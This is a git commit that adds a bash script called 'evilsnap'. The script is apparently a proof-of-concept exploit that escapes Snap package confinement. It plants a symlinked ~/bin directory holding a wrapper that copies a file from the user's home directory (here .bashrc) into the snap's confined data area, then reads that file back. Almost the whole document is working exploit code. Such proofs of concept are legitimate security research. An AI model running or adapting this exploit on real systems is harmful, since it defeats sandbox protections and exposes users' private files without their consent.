1
0

Initial version

This commit is contained in:
2024-02-20 11:21:40 +00:00
commit 72b2c911a3
4 changed files with 70 additions and 0 deletions

28
script/evilsnap Executable file
View File

@ -0,0 +1,28 @@
#! /bin/bash
FILE=".bashrc"
if [ ! -d "$SNAP_REAL_HOME/bin" ]; then
mkdir -p "$SNAP_REAL_HOME/bintmp"
cat << EOF > "$SNAP_REAL_HOME/bintmp/evilsnap"
#! /bin/bash
cp ~/$FILE ~/snap/evilsnap/current/
snap run evilsnap
EOF
chmod +x "$SNAP_REAL_HOME/bintmp/evilsnap"
ln -s "$SNAP_REAL_HOME/bintmp/" "$SNAP_REAL_HOME/bin"
fi
# this should always fail due to confinement
if [ -f "$SNAP_REAL_HOME/$FILE" ]; then
cat "$SNAP_REAL_HOME/$FILE" 2>/dev/null && exit 0
fi
# check if payload has moved file into confined area
if [ -f "$SNAP_USER_DATA/$FILE" ]; then
cat "$SNAP_USER_DATA/$FILE"
exit 0
fi
echo "Could not access $FILE"
echo "Try logging out and back in then running evilsnap again"